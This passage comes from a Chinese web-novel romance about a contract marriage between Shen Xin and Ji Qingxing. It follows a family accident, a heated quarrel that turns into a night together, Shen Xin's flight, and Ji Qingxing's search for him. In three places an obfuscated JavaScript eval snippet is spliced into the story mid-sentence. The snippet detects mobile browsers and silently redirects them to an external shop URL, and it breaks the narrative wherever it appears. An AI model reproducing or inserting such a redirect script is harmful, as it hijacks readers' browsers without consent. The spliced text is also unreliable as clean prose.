可话里话外的意思却是说他是故意的。 他不能不反驳。 他攥着拳头克制着语气:“是,我是生你们的气,但我从来没想过害你们。梁叔叔那边是什么情况我根本就不知道,这是意外,这也能怪我吗?” “啪”地一下,沈知易一巴掌甩上沈昕脑畔,连着眼尾、眉骨都打红了。 沈昕猝不及防地向一旁踉跄几步,心里又惊又气。 这是沈知易第一次打他。 他是觉得自己不该顶嘴,还是觉得梁瑛这事真就该他负责?! 沈昕咬着后槽牙走向走廊另一边。 他没有离开,他可以在这里等着梁瑛做手术的结果。 但也仅此而已。 过了一会儿,纪轻行突然打电话过来。 沈昕微愣,自从那天说清,他们几乎就没接触过。 他压低声音接起来。 纪轻行顿了顿才说:“周末跟我回趟家吧。” “什么?” “回我家,我爷爷那边,老爷子过生日。” 沈昕明白了。 放在之前,就算已经有了“可能会离婚”的共识,但装装样子哄老人家开心也不是不可以。 但是现在,他整个人非常不好,没有任何精力和心情去应对这些事,更加不知道自己为什么要应对。 沈知易、梁瑛、纪轻行。 家里的生意遭遇危机,拿他做工具人,长辈过生日要搞气氛,依然拿他做工具人。 他对这些人来说算什么呢? 拿着手机的手指缓缓用力,他回答道:“不好意思,我去不了。” 电话里纪轻行明显愣了一下:“为什么?” “不为什么。”沈昕非常不配合。 纪轻行一时没说话,最后淡淡应了句“行”便挂断了。 他站在办公室的落地窗边,看着城市夜晚的流光溢彩,右手垂在身侧,松松地拎着手机。 按理来说,他和沈昕刚一结婚就该回家见亲戚了,是他爷爷说先不着急。 纪老爷子深知他们结婚的缘由,生怕这么快就见一大家子人,沈昕会不自在,提议让纪轻行带沈昕去度蜜月,实在走不开就在家好好培养感情,等感情增进了,再见家人不迟。 这次老爷子大寿,打理纪家国外生意的纪轻行父母也专程回来,其他亲戚旧友、生意场上的朋友齐聚更不用说,大伙儿虽然没特意提,但肯定都想见一见沈昕。 虽然离婚或许就在不久之后,但总不能赶着老爷子过寿说这事; 虽然让沈昕跟自己装恩爱显得有些不地道,但他自问一直以来没亏待过沈昕,沈昕这人也挺善良,挺……傻乎乎的,没道理拒绝,结果没想到…… 怎么了嘛。 生他的气?因为他说了这次谈不成就离婚? 不至于吧。 沈昕明明既不爱自己,也对沈知易和梁瑛彻底失望了,难道不会觉得离婚是解脱? 就当朋友之间帮个忙都不行? 越想越郁闷。 而且还有更郁闷的事。 他一力运筹的“沉心起飞计划”终于成了,他高兴得不得了,想着签合同的时候请沉心过来,搞个欢迎宴,也算完成了见男神的夙愿。 结果。 没想到。 副总说沉心拒绝参加与创作无关的活动,签合同也不出面,一切由工作室负责人阿圆代理。 副总还说,他协调了好几次,一再妥协退让,甚至表达了“只要沉心本人能来,什么条件都可以”的意思,但依旧遭到了拒绝。 沉心给出的理由是不喜欢商业场合,不喜欢跟商人应酬,不想影响创作和项目的顺利进行。 纪轻行气得牙痒痒。 这哪里是说理由,明明是提前把话说死,暗示以后也请少开尊口,省得大家难看。 要不是因为他是沉心的读者,近来又经常私聊,清楚对方的人品,换个别人这样跟他说话,他一定不会善罢甘休。 其实他能理解沉心的心情,身为读者也尊重那样的心情,可此一时彼一时,他们已经是合作伙伴了,还拒绝见面,情理上说不通。 而且他连把挖人改为合作的方案都通过了,合作待遇给的也是一等一的好。 老实说,如果他只是世纪集团的总裁纪轻行,他根本不可能如此退让,能把这件事做到这一步,恰恰因为他也是沉心的读者。 从沉心的角度考虑,成立个人工作室确实比加入大集团更好,同时,出于读者、粉丝、“榜一大哥”、网友,甚至知己的私心,他也情愿让利,让沉心多得。 所以沉心还会有什么不满? 不会真地只是因为…… 讨厌商人……吧? 没有找借口,就是讨厌他们这种人。 无论是有原因的还是单纯偏见或怪癖,就是避犹不及。 真是这样的话就难办了。 纪轻行打开阅读软件的私聊板,在输入框里写道—— [沉老师,其实我就是世纪集团的纪轻行,跟您的合作项目是我提出的,定制作品的方向也是我定的,听副总反馈说您很喜欢,我觉得又高兴又骄傲!我提出这个项目,是考虑了我们集团和老师本人双方面的发展,实话实说,这两方在我心里的分量同样重要。之前就跟您说过,我觉得老师您一定会有更大的成就,我希望能由我来帮您实现,也希望您听了我的心里话,慢慢消除对我们的刻板印象(如果有的话)。] 打完字,他看了几遍,又全部删除了。 不要冲动。 现在还不是时候。 闭上眼睛,纪轻行觉得脑袋里全是事,各种各样的事,并且第一次有了“很累、很难、好像解决不了”的心情。 他努力冷静、梳理、分析,再次打开输入框,写道—— [沉老师,请问您有没有特别讨厌的人或事?] 接着打开通话记录。 心想再给沈昕打个电话吧,心平气和地跟他解释,把姿态放低一点也可以。 结果。 没想到。 关机。 这年头谁还会关机? 不会又被拉黑了吧? 听说拉黑之后的提示会有很多种。 神经病啊! 得,也别拖了,离婚不是结婚,不需要看黄历,现在立刻马上就离!非离不可! 纪轻行当即开车回家,心想你拉黑我,那我直接回家找你不就行了? 结果。 没想到。 万万没想到。 家里一片漆黑,楼上楼下角角落落,哪里有沈昕? 连续吃瘪,连续扑空,堂堂纪总只想炸掉地球。 毁灭吧,都毁灭,都毁灭就不会再被沈昕气着了。 妈的,一个干啥啥不行的绣花枕头,凭什么气他?凭什么?! 黑灯瞎火里,纪轻行被餐桌腿绊了一下,顿时更气,抬脚狠狠地踹了回去。 - 第二天天快亮的时候,梁瑛的引产手术结束。 身体状况算是稳定了,但毕竟是大手术,需要继续住院,头部轻微脑震荡也要再观察。怀了快八个月的孩子就这样没了,更是心理上的巨大创伤。 中午,家里的阿姨带着童童过来,两个人一起哭了一场。 沈昕站在病房外面。 医生、护士、护工、家属他通通不是,该挨的打也挨了,他不知道还有什么留在这里的必要。 他转身离开。 沈知易正好从病房出来,看见他就是一瞪眼:“你干什么去?我叫你来是杵在这儿当柱子的吗?还不快过来给你梁叔叔道歉!” 沈昕不说话,拳头紧紧攥着。 沈知易不依不饶地盯着他。 父子俩一触即发之时,梁瑛虚弱的声音从病房里传来:“知易,算了……算了,道歉有什么用呢。” 沈知易眼圈一红,狠狠“哎”了一声,回到病房去。 沈昕的心里憋得难受,他想不通,他为什么要道歉? 走出医院大门,午后天色阴沉,没有一丁点儿生机。 一夜没睡,将近一天不吃不喝,现在依旧不困、不饿、不渴。 除了头疼,再无其他感受。 想看看几点了,掏出手机才发现不知道什么时候没电关机了。 关就关吧。 他好像产生了一种极度逃避的心态,不想见任何人,也不想让任何人看见他。 他开上车,在城市里漫无目的地到处跑。 天色越来越暗,他的头越来越疼。 他是第一次这样头疼,以前头疼对他来说只是个概念,没有切身的体会,不知道原来刀割斧凿电钻并不是形容词。 连端正的坐姿都难保持了。 只能回去。 可是,要回哪儿去呢? 黄昏时分,大雨倾盆而下。 沈昕打开雨刷,忍着头痛和胸闷,在滚滚车流中艰难前行。 突然想起来,他因为写稿迟到,没能参加纪轻行饭局的那天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14440820|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也是这样的大雨。 他们的关系好像是从那天之后好起来的。 接着有点儿飞速发展的意思。 再接着就陡然直下,冲破起点,掉进了深渊。 回到和纪轻行的婚房,天已经黑了,雨似乎更大,沈昕头疼又头晕,连视力都受了影响。 跌跌撞撞地进了家门,他一心只想赶紧在最近的能躺下的地方躺下,把身体抻平,无论如何先缓过这一口气来。 他一心地、强烈地这么想着。 于是暂时消退了其余的感官,觉得家里跟走的时候没分别。 他径直奔向客厅的长沙发。 仰面一倒。 后背剧痛,他吓地“啊”了一声,慌忙想爬起来,却被按住肩膀,又躺了下去。 原来沙发上还有个人。 他那一躺,是直接躺在了对方的腿上。 ……是纪轻行。 他怎么在? 怎么不开灯?之前也不说话? 唔,好大的酒味。 纪轻行喝酒了,喝得不少,俯下身双手撑在沈昕肩膀两侧,看着沈昕的眼神迟滞,但很烫,很…… 危险。 “你……” “你还知道回来。”纪轻行压着嗓音逼问道,“昨天晚上干什么去了?” 沈昕头疼欲裂,心情本来就不好,这下更不好了。 再次试图爬起来,但纪轻行不让,攥着他的手腕把他往沙发夹角里塞。 “问你话呢。” “你问我我就一定要说么?”沈昕生气了。 “难道不?”纪轻行匪夷所思,“我可是你老公!” 沈昕冷笑:“马上就不是了。” 纪轻行一怔,顽强道:“至少现在还是,现在还是,那我就得问你管你!” “你就算是天王老子,我也有我的自由。” 沈昕反复挣扎,纪轻行力气更大,结结实实地堵着他:“听听你说的这是什么话,一天一夜不见人,不知道跟谁鬼混去了,电话也不接,我还不能问吗?” 沈昕气地挑起眼睛瞪他。 “哎呦,这是什么表情?恼羞成怒了?你凭什么怒?我已经很大方了好吗,前阵子晚上没少出去鬼混吧,我问过你吗?我就现在问了这一次,你还不愿意,你凭什么不愿意……” 沈昕使尽全身的力气狠狠一推纪轻行。 “你是不是有病!别以为我不说就是什么都不知道,你那点儿破事我早知道得清清楚楚了!我懒得计较,你反倒贼喊捉贼蹬鼻子上脸!你又凭什么?!” 纪轻行被推得整个人懵住:“我的事?我的什么事?” 事已至此,沈昕豁出去了:“你心里有别人,领证那天我就知道了!其实那天我早就到了,听到你跟人打电话,说我是‘只有名字像的绣花枕头,是草包,根本没法比’!我也看到了,你天天晚上捧着手机跟你心里的那个人聊天,聊得不亦乐乎,一会儿发呆一会儿傻笑的!而且你从第一天起就清清楚楚地知道你跟我是工具婚姻,后来又说和想象的不一样,工具婚姻,你能有什么想象?其实是因为受了那个人的影响,所以才要离婚的吧?!” 纪轻行愣在当场。 他满脸茫然,眼睛机械地眨,一点一点去想沈昕说的话,一点一点分析。 原来他竟然是……这样以为的吗? “老天爷,这、这也算心里有别人?你、你怎么这么小气?” “这不算吗?这不算那什么才算?!”沈昕翻了个白眼,嘲讽道,“我知道了,对于你们这种人来说,必须要捉奸在床才算对吧?甚至脱了衣服滚到一起,只要没进去就也可以不算对吧?!毕竟你对我就是这样,随便拿捏呢!” 话音落,纪轻行猛地把沈昕死死压在沙发角,眼里带着被挑衅的不快。 “沈昕你别忘了,第一次是你耍老子,老子对你已经够可以了,你现在居然还敢来挑事?老子警告你,这次再挑出事,绝对没那么容易收场。” 黑暗中,沈昕与他对视,半晌冷冷地哼了一声:“有本事你就说到做到,否则我看不起你。” 纪轻行攥着沈昕胳膊的手下意识用力。 沈昕蹙眉“啊”了一声。 外面下着大雨,屋里拉着厚厚的窗帘,颇有些伸手不见五指。 可他们挨得太近了,适应了环境,反而将对方看得非常清楚。 苍白而虚弱的脸、带着血丝的倔强眼睛,被揉乱的白衬衫、打开的领口、瘦削漂亮的肩颈…… 沈昕穿衣服一向齐整,从来没这样过。 也从来没说过这样的话。 他在故意激怒自己,勾引自己。 没错。 还没有离婚,他当然可以做身为老公该做的一切。 纪轻行捏起沈昕的下巴,另一只手紧搂他纤薄的腰,咬牙切齿地说:“那你就睁大眼睛好好看着你老公我是怎么睡你的,半途哭晕过去,我也看不起你。” 雨声更大了。 还开始打雷。 但是很快,他们便堕落在只有两个人的世界里,再也听不到其他。 22.逃跑 纪轻行醒来的时候,颇有些不辨日夜,记忆也断片了。 他呈大字型躺在床上,眼睛对着天花板眨,一点一点回溯。 那天给沈昕打电话,让他跟自己回家给爷爷过生日,沈昕拒绝了。 过了一会儿再打,被拉黑了。 他就很气。 回家堵沈昕,沈昕却不在。 他就坐在沙发上等,等了一整个晚上加一个白天。 一边等一边喝酒。 第二天下了雨,天快黑的时候沈昕才回来。 他当时靠在沙发上打盹,没留意,突然沈昕躺到了他怀里…… 看看,一进门就勾引他,还跟他吵架。 吵架的样子跟从前的乖乖傻傻不一样,意外地凶,意外地气人,意外地令人头晕目眩血脉贲张。 然后他们就…… 纪轻行脑中一亮,从床上弹了起来。 记忆和记忆中的感觉都回来了。 爽。 真特么爽啊! 简直了这辈子没这么爽过! 肉/体仅仅是一方面,精神上的愉悦才是最要命的,他们忘我、疯狂,从客厅沙发到楼上的卧室,数不清究竟来了多少次。 所以现在是几号几点? 沈昕人呢? 摸来床头柜上的手机一看,哦,已经是第二天下午的三点多了。 沈昕先他醒来,又去书房看时尚杂志了? 真是的,一点儿仪式感都没有。 毕竟是他俩的第一次,也不知道在床上等等自己。 纪轻行一边感慨一边进了主卧的浴室,迎面一照镜子,妈耶。 堂堂世纪集团纪总,这下可怎么出门? 脸上、脖子上又是抓痕又是咬痕又是吻痕,昨晚沈昕一顿猫猫狗狗攻击,看似花拳绣腿,后劲儿居然挺大。 纪轻行索性也不洗澡了,他要找人算账! 吹着口哨走出卧室,前往书房,语调活泼地上扬。 “小昕昕,你看看你把你老公我弄成什么样了?没法见人了啊,只能继续待在家里跟你酱酱酿酿了啊……” 兴奋地一推书房门,嗯?没人。 在楼下吗? 又去楼下,还是没人。 难不成出门了? 最近动不动就出门,以前明明特别宅的。 发骚落空,纪轻行只能先回卧室穿上睡衣,给沈昕打电话。 这次通了。 而且第一时间就接了。 总是被拉黑的纪轻行有些受宠若惊:“昕……” “纪轻行。” 纪轻行一愣,因为电话里的语调非常冰冷。 那冰冷的声音继续说:“咱俩什么时候离婚?” 纪轻行更愣。 离什么婚?都琴瑟和谐了还离婚?! “昕……” “你拟协议吧,签字之前不要再找我了。” ……哈?????? 纪轻行大愣。 他上看下看左看右看,又掐了自己一把,确定不是做梦。 待要再问,沈昕却已经挂断了电话。 再打过去,被挂断。 再打…… 妈的,又是关机!又被拉黑了! 发生什么了?在他睡觉的时候,沈昕和这个世界究竟发生什么了?他完全、完全看不懂了啊! …… 不能暴躁,他要冷静,他走去打开窗子,大口大口呼吸新鲜空气,双手使劲儿扇风。 沈昕离家出走,还嚷嚷着要离婚,会不会是不满昨天晚上自己的表现? 应该不会。 他看得到他的反应,而且真不满也不可能有那么多次。 再往前推,琴瑟和谐之前,他们…… 吵架了。 沈昕觉得他心里有别人,还觉得了很久,天地良心,那怎么能算?! 没想到这家伙平时不声不响,实际上却知道那么多! 或许要进一步改观了。 最初答应婚事的时候,纪轻行心中是有些不屑的。 接着发现沈昕对家中种种竟然一无所知,被骗了这么多年,虽然可怜他,但也觉得他傻,尤其年纪轻轻有手有脚却甘心什么都不做,他更是不解。 不过接下来的表现倒是令他眼前一亮。 迅速查清了家里的情况,让沈知易和梁瑛无可辩驳; 干脆利落地与家里划清界限,绝不原谅,没有反复; 虽然接受了这段婚姻,但并非囿于家人,而是自有道理; 虽然尚未真正推动,但确实萌生了争夺家业的心思。 似乎并不是个绣花枕头。 尤其他居然知道自己给沉心打赏、铺事业,天天看书写评论,时不时还聊个天的事。 但这又怎么了啊?! 多么健康高雅的爱好,而且他平时不管干什么从没避过人,反而是沈昕动不动就跟人出去鬼混,夜不归宿,还经常反锁门、拉黑人,非常害怕他看他的电脑。 明明是沈昕的问题更大好吧?结果自己还反思上了?! 反思个毛线。 离家出走就离家出走呗,给他惯的,瞎闹脾气,晾几天保管好。 - 周末。 纪轻行一人回家,给纪老爷子庆祝生日。 父母从国外回来了,亲戚们也来了,他已经提前打过预防针,说沈昕来不了,老爷子反应挺正常。 可能电话里不好细问。 也可能还在宽容忍耐。 中午宴席快吃完的时候,老爷子果然挑起了话头。 “阿行,阿昕那边现在怎么样?” 纪轻行精神一紧,把准备好的借口拿出来:“哦,他没什么大事,就是一直发烧,担心过来万一把大家传染了就不好了,尤其爷爷你年纪大了,身体最要紧。” 纪老爷子一愣:“什么?阿昕也病了?” 纪轻行跟着一愣。 这个也……是怎么回事? 纪老爷子想了想,叹气道:“累病的吧?哎,我说这个话可能不合适,但阿昕确实太善良了,继父毕竟只是继父,指不定还存着不好的心思,这些事情,礼貌上过得去也就是了。阿行,你是他丈夫,你得劝劝他。” 纪轻行更愣。 纪老爷子又说:“要么你吃完饭就回去吧,他是还在医院还是一个人在家呢?一直高烧可大可小,最好有人陪着。嗐,其实你跟我说阿昕不来的时候我就想说不用忌讳,我又不是老封建,八竿子打不着的事情,我会在意那个?这两天让阿昕好好养病,赶快好起来,一起见见我和你爸爸妈妈。” 纪轻行:?????? 这个世界又发生什么了?他是失忆了还是穿越了?怎么越来越听不懂了?! 顶着强烈的诡异感,纪轻行点点头,说了声“好”。 他和纪老爷子之间明显有信息差。 但纪老爷子又很明显地以为他们没有信息差? 事关沈昕,而他是沈昕的老公,当然不可能就这样问出自己的困惑,那也太丢脸了。 于是饭后没多久他就走了,纪老爷子话里话外的意思和梁瑛有关,他便让助理联络沈知易,问问那边的近况。 很快,助理把电话回了过来。 这下纪轻行全知道了。 纪老爷子知道得更早,说明老人家虽然不再参与生意上的事,但很关心他和沈昕的婚姻状况,私下估计没少派人了解。 听老爷子先前的说法,应该是以为沈昕是考虑到家里有长辈住院,做的还是大手术,担心寿星忌讳,所以不来。 自己说沈昕病了,老爷子也以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459575|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为是在医院照顾病人累病的。 ……原来如此。 原来沈昕那天夜不归宿是因为…… 不对。 那天沈昕回来的时候状态非常奇怪,一股子又厌世又豁出去了的架势,不至于梁瑛做个引产手术他就变成那样。 多半还有内情。 这就不是纪老爷子能知道的了。 也不好直接问沈知易和梁瑛。 助理说梁瑛现在很虚弱,心情也很差,沈知易寸步不离地陪着,但沈昕并不在医院。 纪轻行又琢磨了一会儿,难得地打开Q/Q,破天荒地给小学生发信息—— [童童,我是纪轻行,你哥哥的老公,你有空了给我打个语音好吗?不方便的话回消息也可以。] 小学生毕竟是小学生,晚上八点多,纪轻行才收到回复。 [我知道你是大哥哥!你找我打游戏吗?我今天不能打游戏。] 先回了一条信息,接着,语音电话打了过来。 纪轻行立刻接起来。 “童童,你好。” “大哥哥你好!” “我不找你打游戏。”纪轻行开门见山地说,“我知道你爸爸住院了,你老爸也一直在医院,想问问最近是谁照顾你的呢?” “噢,是家里的奶奶,还有我老爸公司的小黄叔叔。我也不需要照顾,他们就是送我上下学,给我做饭,看家。”童童很小大人地说。 纪轻行想,“家里的奶奶”应该是指住家的保姆,沈知易并没有喊亲戚过来帮忙,可能是不需要,也可能是没什么靠得住的人。 这时童童问:“大哥哥,你去医院看我爸爸了吗?” 纪轻行说:“准备去呢。” “那你去的时候帮我跟爸爸说我想他!更想他早点儿康复!我老爸和爸爸说我现在上学要紧,辅导班也不能落下,所以连周末都不让我去医院。” “嗯,好的,你也不要太担心,爸爸在医院有医生护士照顾,是最安全的。” 接着,纪轻行进入正题。 “童童,大哥哥前段时间在外地出差,今天才回来,所以不知道你爸爸到底是因为什么住的院?问你哥哥,他也不告诉我。” “啊,哥哥是不是还在生气?我听我老爸说,那天爸爸和哥哥打电话,哥哥气到了爸爸,爸爸就从楼梯上摔了下来。接着爸爸再给哥哥打电话,但哥哥没接,没能及时叫救护车,爸爸肚子里的小宝宝就……就死了。哥哥也很生气,说不是这样的,老爸就更生气,就打了哥哥,然后哥哥就走了!” 说完,电话里陷入沉默。 半晌后。 “大哥哥?” 纪轻行“嗯”道:“我在。” 童童再问:“大哥哥,哥哥是不是还在生气呀?” 纪轻行不答反问:“童童,你觉得这件事怪你哥哥吗?” “哥哥说是意外。”童童顿了顿,“我们老师说一件事情究竟是什么样子,不能只靠听,要亲自用眼睛去看,而且有时候眼睛看到的可能也不一定就是真的,还要用心去感受和判断。是非对错,有时候很简单,有时候也很复杂。” “老师说得很对。” “我觉得……”童童小声说,“哥哥肯定不是故意的,哥哥不是坏人。” “嗯,我也这么觉得。”纪轻行笃定地说,“你放心,我会劝你哥哥不要生气,也会去医院,把你的话跟你爸爸和老爸带到。” “好!谢谢大哥哥!” “不客气。”纪轻行笑着说。 挂了电话,他的笑容依旧停在脸上。 可是心头却猛地传来一阵强烈的缩痛。 从来没有过的体验。 仅仅因为一个人。 竟然会难受到这样的地步。 沈昕…… 你等着我。 23.弃夫 写完一整段情节,沈昕闭上眼睛休息了一会儿,起身走到窗边。 推开玻璃窗,上午的微风扑面而来,非常舒服。楼下是小区的运动设施,老人们三三两两,或锻炼身体,或随意聊天,有的还推着小孩子,欢声笑语,生机勃勃。 沈昕的表情不由地柔和。 搬来这里已经半个月了。 他很少出门,至今没搞清楚小区的完整地形,也不知道周围都有些什么店铺。 他是逃过来的。 那天晚上,他像是被鬼上身了,否则怎么可能挑衅纪轻行做那种事? 而且一做就是一夜。 一开始还算清醒,还有属于人类的思维和感觉,到后来几乎只剩下动物的本能。 第二天醒来的时候,没有崩溃,没有后悔,他非常冷静,甚至堪称麻木。 他知道,那只是一场积攒了许久的情绪发泄,只是刚好有纪轻行这么个人令他能针锋相对,只是刚好选择了那种方式,实际上和酗酒、大叫、摔东西、疯狂哭没区别。 他和纪轻行本来就要离婚了,不该再横生枝节,所以趁着纪轻行还在睡觉,他先走了,纪轻行醒来一看,肯定就会明白。 那天的逃离他记忆犹新,因为身体实在很不舒服。 他就近找了家酒店进行休整,同时开始找房子。 要远离之前的住处,要避开纪轻行和他的家人经常活动的区域,要安保系数高、进出管得严,要小户型、高楼层、采光好、通风好、够私密,要装修合适、干净整洁、随时入住。 这个城市很大,也很繁华,只要有钱,什么需求都能立刻办到。 当天下午他去看房,第二天下午就搬了进去。 接下来的日子,纪轻行也好家人也好都没找他,他一个人过得非常安心。 偏离的生活轨道终于被拉了回来。 最近,他适当减少了连载的更新量,读者们纷纷表现出了善意的“不满”,他认真地解释说自己不是懒,而是准备同时再写一本书,读者们又欢呼起来。 唯独不见“沉老师的狗”。 还在订阅,但已经有一段时间不发评论,也不找他私聊了。 上次“沉老师的狗”说可能要离婚,估计现在就是在忙这件事。 很多人的婚离起来很麻烦,一时无法出现在网络上很正常,而且对方没有主动提出需要,他就尊重,不打扰,只在心里默默祝愿。 哎,没想到他和“沉老师的狗”连离婚这事都这么有缘。 减少网络连载省下的时间,他用来构思世纪集团的定制作品,除此之外还得读书和放空,吃饭睡觉便往往敷衍。 时间一长也觉得不太行。 所以今天,他给自己点了火锅外卖,慢慢悠悠地吃了一个多小时,幸福感油然而生。 只是老天爷仿佛总要跟他作对,仿佛觉得他不能这么幸福,晚上沈知易便打来了电话,打破了他与世隔绝的结界。 看着屏幕上的“爸爸”二字,任凭铃声响了一会儿,他终于接了。 “爸爸。”他不带任何情绪。 电话那头的人却满是情绪,阴阳怪气几乎变成实体—— “不用叫爸爸,我年纪小,当不起。” 沈昕顿时皱眉:“是你?” “是我,哼,我还以为你把我忘了呢,结果倒记得挺清的嘛,一句话就听出来了。” 沈昕无奈地翻了个白眼,心想我又不傻。 他接着问:“你怎么拿我爸的电话?” 只是随口一问,只是觉得纪轻行和沈知易除非公事应该不会有联系,心想可能今晚他们正好谈生意,顺口谈到了他,就打了这个电话。 结果没想到,这随便的一问直接把纪轻行点炸了。 “我怎么拿你爸的电话?你以为我想吗?!你还问我?你自己难道不门儿清?!沈昕,我纪轻行这辈子没服过谁,但我现在服你了,真地服!你这是什么癖好啊,又拉黑又离家出走的,够能耐啊!有话说话有事办事你懂不懂?!整天问我几岁,你自己问问你自己几岁!我告诉你,你最好是别让我找到你,你但凡让我找到了你,我绝对饶不了你,绝对!” 沈昕把手机放在桌上,开了公放,将声音调小。 他明白了,纪轻行应该是一直找不见他,电话也打不通,不得已才去找了沈知易。 沈昕半天不说话,纪轻行的疯狂输出犹如一记重拳打在棉花上,更加生气。 “你吭一声!” 沈昕便淡淡地说了个“哦”。 纪轻行简直气炸:“你故意的是不是?!哎我就不明白我究竟怎么你了你至于跟我来这套?!老子就算再宽宏大量,忍耐也不是无限的你懂吗?!别把老子逼急了让老子跟你说脏话啊……” “你确实没有怎么我。”沈昕平静地打断他,“我也没有故意气你,我要做什么那天电话里已经说清楚了。” 纪轻行一愣,接着吼道:“你让我拟好离婚协议再找你,那你把我拉黑,我怎么找你?你说,我怎么找你?!” 沈昕也一愣:“不是还可以发微信?” 纪轻行大愣。 沈昕想的是,他和纪轻行意外发生了本不该发生的床事,两人性格又不太合,每每说话要么东拉西扯要么争论吵架,那就尽量别说。 所以他拉黑了他的电话,但社交软件是正常的,有事文字沟通,既高效又和平。 纪轻行却理解地又歪又直:他拉黑我!说明他讨厌我!不想理我!就算发微信也肯定不可能回复! 所以他根本就没发。 天地良心。 这上哪儿说理去。 死一般的沉寂持续了一会儿。 沈昕打破尴尬道:“那你现在拿我爸的手机给我打电话,意思是离婚协议已经拟好了?” 又是死一般的沉寂。 接着,细微的电流声戛然而止。 纪轻行挂了电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14473949|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 什么都没说,又把什么都说尽了。 纪轻行站在医院的楼梯间,无人经过的地方,依稀回荡着他外强中干的话语。 那天跟童童打完电话,一瞬之间,他心疼得要死,难受得要死。 他觉得他变成了一个情圣,只想立刻找到沈昕,好好地亲亲哄哄抱抱,给予他来自老公的呵护与温暖。 但是…… 但是! 他找人找了半个月硬是没找到!就算有再多的心疼和难受也消耗完了!他只剩下气!委屈!迷惑! 没想到啊,小绣花枕头还挺厉害,把他骗得团团转! 而且在这些找不到的日子里,他还渐渐发觉,虽然不至于没了沈昕就活不成,但他…… 好像确实喜欢了沈昕。 日日牵肠夜夜挂肚的。 单方面喜欢一个小绣花枕头,这令他更生气。 联络童童的第二天他就来了医院,当时没提沈昕离家出走的事,那是他和沈昕的私密,他不想说,只从晚辈的角度表达了对沈知易和梁瑛的关心与遗憾,还说出资的事可以再谈。 也不单纯只是善心。 毕竟梁瑛这次意外,归根到底是因为他和沈知易谈崩了,虽然客观上讲与他无关,但终归挂着亲戚的名头,他不想把事情办得太难看,再者,他也想跟沈昕好好地谈一下,看看沈昕希望这件事怎么办。 今天是他第二次来医院。 梁瑛即将出院,再不来就没机会了。 否则等梁瑛出了院,他再上门去说对不起你们的儿子被我弄丢了还把我拉黑我联系不到请你们帮我打个电话就也…… 太!丢!脸!了! 只能现在来。 至少现在来,能表达出“沈昕离家出走与我无关,都是被你们气的”的意思。 至少不那么丢脸。 回到病房,纪轻行把手机还给沈知易。 沈知易问:“联系上了?” 纪轻行“嗯”了一声。 沈知易又问:“昕昕现在在哪儿?” 纪轻行一怔,心说妈的,好不容易联系上,太激动了,正经事一句没问。 他烦躁了一会儿,灵机一动道:“爸,你再给昕昕打个电话,就说让他……明天上午来我办公室,谈离婚协议。” 虽然微信没被拉黑,但他不想做出刚才潇洒地挂断电话一转头就又主动联系的舔狗行为。 而且让沈知易转达,显得他离婚的心很真,姿态很高,不会让沈昕怀疑。 为了彻底消除怀疑,他甚至把见面的地点定在了办公室而非家里。 简直是殚精竭虑! 这时沈知易一脸惊悚。 纪轻行反应过来,无奈道:“不是真要离婚,你就先这么说。”顿了顿,又提醒,“但千万别跟他透露啊,你要让他觉得是真的。” 说完真是无地自容。 事已至此,丢不丢脸也由不得他了。 24.睡了老子就想跑 沈昕是第一次来世纪集团。 到了楼下给纪轻行打电话,纪轻行没接,他想那就自己进去吧,但该怎么跟前台的人说呢? ——你好我找纪总。 ——请问您是哪位? ——我是沈昕。 ——不好意思沈先生,预约记录上没有您呢。 ——我是沈昕,纪总的丈夫沈昕,纪总请我来谈离婚协议,你让我上去,或者叫他下来。 …… 小说家习惯性地在脑内上演了一出狗血尴尬大戏。 叹了口气,沈昕硬着头皮走进一楼大厅,准备迎接狗血与尴尬的时候,意外地发现情况与他想象的截然相反。 “沈少?……是沈少!” “沈少今天怎么有空过来了?欢迎大驾光临!” “快给总裁办公室打电话,说沈少来了!” “沈少这边请,乘这部电梯可以直达纪总的办公室。” 沈昕:? 被前台的美女帅哥们簇拥着向前,人生首次体验了一把明星待遇。 站在金碧辉煌的电梯里,恍惚感尚未退去就听“叮——”地一声,他走出去,继续“明星扫楼”。 “沈少早上好!纪总正在开会,他已经知道您来了,最多十分钟就过来,麻烦您稍等。” “您坐这里,吃早餐了吗?没吃的话我让餐厅准备。” “沈少喝咖啡吗?也有牛奶和果汁。” “等着无聊,来点儿小零食吧。” “这椅子有点儿硬,给您加个靠垫哈。” “沈少,这是咱们的内部刊物,闲着也是闲着,您随便翻翻。” 员工们热情洋溢手脚麻利,分分钟摆得纪轻行的办公桌上全是吃的喝的。 他们没听说他和纪轻行马上就要离婚了? 